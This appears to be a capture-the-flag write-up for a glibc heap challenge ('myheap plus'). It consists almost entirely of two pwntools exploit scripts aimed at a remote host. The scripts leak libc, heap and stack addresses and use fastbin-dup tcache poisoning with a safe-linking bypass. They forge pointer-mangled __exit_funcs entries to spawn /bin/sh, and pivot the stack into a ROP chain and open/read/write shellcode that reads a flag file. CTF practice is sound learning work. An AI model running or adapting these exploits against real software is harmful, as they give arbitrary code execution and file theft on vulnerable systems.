sa = lambda x, y: p.sendafter(x, y)
sla = lambda x, y: p.sendlineafter(x, y)
r = lambda x=None: p.recv() if x is None else p.recv(x)
rl = lambda: p.recvline()
ru = lambda x: p.recvuntil(x)
r_leak_libc_64 = lambda: u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
r_leak_libc_32 = lambda: u32(p.recvuntil(b'\xf7')[-4:])
def create(idx,size,content):
sla(">>>","1")
sla("[?] please input chunk_idx:",str(idx))
sla("[?] Enter chunk size: ",str(size))
sa("[?] Enter chunk data: ",content)
def delete(idx):
sla(">>>","2")
sla(" Enter chunk id: ",str(idx))
def show(idx):
sla(">>>","3")
sla("[?] Enter chunk id: ",str(idx))
def exit():
sla(">>>","4")
p = connect()
for i in range(7):
create(i,0x80,"AAAA")
create(7,0x80,"AAAA")
create(8,0x80,"AAAA")
create(9,0x80,"AAAA")
for i in range(7):
delete(i)
delete(7)
delete(8)
for i in range(7):
create(i,0x80,"AAAA")
create(10,0x18,p64(0x80) + p64(1))
show(7)
libc_base = u64(r(8)) - (0x750dcd21ace0 - 0x750dcd000000)
success(f"libc_base ->{hex(libc_base)}")
for i in range(7):
delete(i)
create(10,0x18,b"A" * 0x10)
show(10)
ru(b"A" * 0x10)
heap_base = u64(ru("W")[:-1]) - (0x56de0dc3f370 - 0x56de0dc3f000)
success(f"heap_base ->{hex(heap_base)}")
# fastbin dup
for i in range(7):
create(i,0x68,"AAAA")
create(7,0x68,"AAAA")
create(8,0x68,"AAAA")
for i in range(7):
delete(i)
delete(7)
delete(8)
for i in range(7):
create(i,0x68,"AAAA")
create(10,0x18,p64(0x68) + p64(1))
for i in range(7):
delete(i)
delete(7)
for i in range(7):
create(i,0x68,"AAAA")
inital_offset = 0x715f4421bf00 - 0x715f44000000
inital = libc_base + inital_offset
pos = heap_base + (0x5c62ed2dcbd0 - 0x5c62ed2dc000)
target = (inital - 0x10) ^ (pos >> 12)
rol = lambda val, r_bits, max_bits: (val << r_bits%max_bits) & (2**max_bits-1) | ((val & (2**max_bits-1)) >> (max_bits-(r_bits%max_bits)))
ror = lambda val, r_bits, max_bits: \
((val & (2**max_bits-1)) >> r_bits%max_bits) | \
(val << (max_bits-(r_bits%max_bits)) & (2**max_bits-1))
manba = 0x401700
# pwndbg> x /40gx __exit_funcs
# 0x77847101bf00 <initial>: 0x0000000000000000 0x0000000000000002
# 0x77847101bf10 <initial+16>: 0x0000000000000004 0x88913e9c1a11fe48 <- dl_fini
# 0x77847101bf20 <initial+32>: 0x0000000000000000 0x0000000000000000
# 0x77847101bf30 <initial+48>: 0x0000000000000004 0x6799dc321491fe48 <- manba
# 0x77847101bf40 <initial+64>: 0x0000000000000000 0x0000000000000000
# 0x77847101bf50 <initial+80>: 0x0000000000000000 0x0000000000000000
# 0x77847101bf60 <initial+96>: 0x0000000000000000 0x0000000000000000
# 0x77847101bf70 <initial+112>: 0x0000000000000000 0x0000000000000000
# 0x77847101bf80 <initial+128>: 0x0000000000000000 0x0000000000000000
create(7,0x68,p64(target))
create(8,0x68,"AAAA")
create(7,0x68,"AAAA")
create(7,0x68,b'A' * 0x10 + p64(0) + p64(2))
show(7)
ru(b'A' * 0x10)
print(r(8))
print(r(8))
print(r(8))
print(r(8))
print(r(8))
print(r(8))
print(r(8))
encode_manba = u64(r(8))
key = ror(encode_manba,0x11,64) ^ manba
print(hex(encode_manba))
print(hex(key))
print(hex(ror(encode_manba,0x11,64) ^ key))
# fastbin dup
for i in range(7):
create(i,0x58,"AAAA")
create(7,0x58,"AAAA")
create(8,0x58,"AAAA")
for i in range(7):
delete(i)
delete(7)
delete(8)
for i in range(7):
create(i,0x58,"AAAA")
create(10,0x18,p64(0x58) + p64(1))
for i in range(7):
delete(i)
delete(7)
for i in range(7):
create(i,0x58,"AAAA")
system = libc_base + libc.sym['system']
binsh = libc_base + next(libc.search(b'/bin/sh'))
payload = p64(0) + p64(2) + p64(4) + p64(rol(system ^ key, 0x11, 64))
payload += p64(binsh) + p64(0) + p64(4) + p64(encode_manba)
pos = heap_base + (0x64ac6b5aa0d0 - 0x64ac6b5a9000)
target = (inital - 0x10) ^ (pos >> 12)
create(7,0x58,p64(target))
create(8,0x58,"AAAA")
create(7,0x58,"AAAA")
create(7,0x58,b'A' * 0x10 + payload)
exit()
p.interactive()
ptmalloc2 it’s myheap plus
在pro的基础上加了orw
在有任意地址读写的原语后,实现orw三个函数调用,比较简单的做法是通过environ泄露栈地址,然后栈迁移到堆上打rop
from pwn import *
# from LibcSearcher import *
import itertools
import ctypes
context(os='linux', arch='amd64', log_level='debug')
is_debug = 0
IP = "xyctf.top"
PORT = 33161
elf = context.binary = ELF('./vuln')
libc = elf.libc
def connect():
return remote(IP, PORT) if not is_debug else process()
g = lambda x: gdb.attach(x)
s = lambda x: p.send(x)
sl = lambda x: p.sendline(x)
sa = lambda x, y: p.sendafter(x, y)
sla = lambda x, y: p.sendlineafter(x, y)
r = lambda x=None: p.recv() if x is None else p.recv(x)
rl = lambda: p.recvline()
ru = lambda x: p.recvuntil(x)
r_leak_libc_64 = lambda: u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
r_leak_libc_32 = lambda: u32(p.recvuntil(b'\xf7')[-4:])
def create(idx,size,content):
sla(">>>","1")
sla("[?] please input chunk_idx:",str(idx))
sla("[?] Enter chunk size: ",str(size))
sa("[?] Enter chunk data: ",content)
def delete(idx):
sla(">>>","2")
sla(" Enter chunk id: ",str(idx))
def show(idx):
sla(">>>","3")
sla("[?] Enter chunk id: ",str(idx))
def exit():
sla(">>>","4")
p = connect()
for i in range(7):
create(i,0x80,"AAAA")
create(7,0x80,"AAAA")
create(8,0x80,"AAAA")
create(9,0x80,"AAAA")
for i in range(7):
delete(i)
delete(7)
delete(8)
for i in range(7):
create(i,0x80,"AAAA")
create(10,0x18,p64(0x80) + p64(1))
show(7)
libc_base = u64(r(8)) - (0x750dcd21ace0 - 0x750dcd000000)
success(f"libc_base ->{hex(libc_base)}")
show(10)
r(8)
r(8)
heap_base = u64(r(8)) - (0x57369a90c870 - 0x57369a90b000)
success(f"heap_base ->{hex(heap_base)}")
# fastbin dup
for i in range(7):
create(i,0x68,"AAAA")
create(7,0x68,"AAAA")
create(8,0x68,"AAAA")
create(9,0x68,"AAAA")
for i in range(7):
delete(i)
delete(7)
delete(8)
for i in range(7):
create(i,0x68,"AAAA")
create(10,0x18,p64(0x68) + p64(1))
for i in range(7):
delete(i)
delete(7)
for i in range(7):
create(i,0x68,"AAAA")
# pwndbg> p &__environ
# $1 = (char ***) 0x7c98a8622200 <environ>
# pwndbg> p /x 0x7c98a8622200 - 0x7c98a8400000
# $2 = 0x222200
# pwndbg>
__environ_addr = libc_base + 0x222200
pos = heap_base + (0x5a28a79cbb30 - 0x5a28a79cb000)
target = (pos >> 12) ^ (__environ_addr - 0x10)
create(7,0x68,p64(target))
create(8,0x68,"AAAA")
create(7,0x68,"AAAA")
create(7,0x68,"A" * 0x10)
show(7)
ru("A" * 0x10)
stack_addr = u64(r(8))
success(hex(stack_addr))
# main
stack_rbp = stack_addr - (0x7ffecf5425e8 - 0x7ffecf5424c0)
stack_ret = stack_addr - (0x7ffecf5425e8 - 0x7ffecf5424c8)
success(hex(stack_rbp))
success(hex(stack_ret))
# fastbin dup
for i in range(7):
create(i,0x58,"AAAA")
create(7,0x58,"AAAA")
create(8,0x58,"AAAA")
create(9,0x58,"AAAA")
for i in range(7):
delete(i)
delete(7)
delete(8)
for i in range(7):
create(i,0x58,"AAAA")
create(10,0x18,p64(0x58) + p64(1))
for i in range(7):
delete(i)
delete(7)
for i in range(7):
create(i,0x58,"AAAA")
ret = libc_base + 0x0000000000029139
leave_ret = libc_base + 0x000000000004da83
rdi = libc_base + 0x000000000002a3e5 # pop rdi; ret
rsi = libc_base + 0x000000000002be51 # pop rsi; ret
rdx_r12 = libc_base + 0x000000000011f2e7 # pop rdx ; pop r12 ; ret
rcx = libc_base + 0x000000000003d1ee # pop rcx ; ret
r8 = libc_base + 0x00000000001659e6 # pop r8 ; mov eax, 1 ; ret
read = libc_base + libc.sym['read']
mmap = libc_base + libc.sym['mmap']
mprotect = libc_base + libc.sym['mprotect']
block_addr = heap_base + (0x5acfdfaa5010 - 0x5acfdfaa3000) # rop_block1_addr
block_addr2 = heap_base + (0x5c22450170c0 - 0x5c2245015000) # rop_block2_addr
payload1 = p64(rdi) + p64(heap_base)
payload1 += p64(rsi) + p64(0x21000)
payload1 += p64(rdx_r12) + p64(7) + p64(0)
payload1 += p64(mprotect)
payload1 += p64(block_addr2 + 0x10)
create(11,0x80,payload1) # rop_block1
payload2 = b'flag'
payload2 = payload2.ljust(0x10,b'\x00')
payload2 += asm(f'''
mov rdi,{block_addr2}
mov rsi,0
mov rax,2
syscall
mov rdi,3
mov rsi,{block_addr2}
mov rdx,0x40
mov rax,0
syscall
mov rdi,1
mov rsi,{block_addr2}
mov rdx,0x40
mov rax,1
syscall
''')
create(12,0x80,payload2) # rop_block2
pos = heap_base + (0x644695eefeb0 - 0x644695eee000)
target = (stack_rbp) ^ (pos >> 12)
create(7,0x58,p64(target))
create(8,0x58,"AAAA")
create(7,0x58,"AAAA")
create(7,0x58,p64(block_addr - 0x8) + p64(leave_ret))
# g(p)
exit()
p.interactive()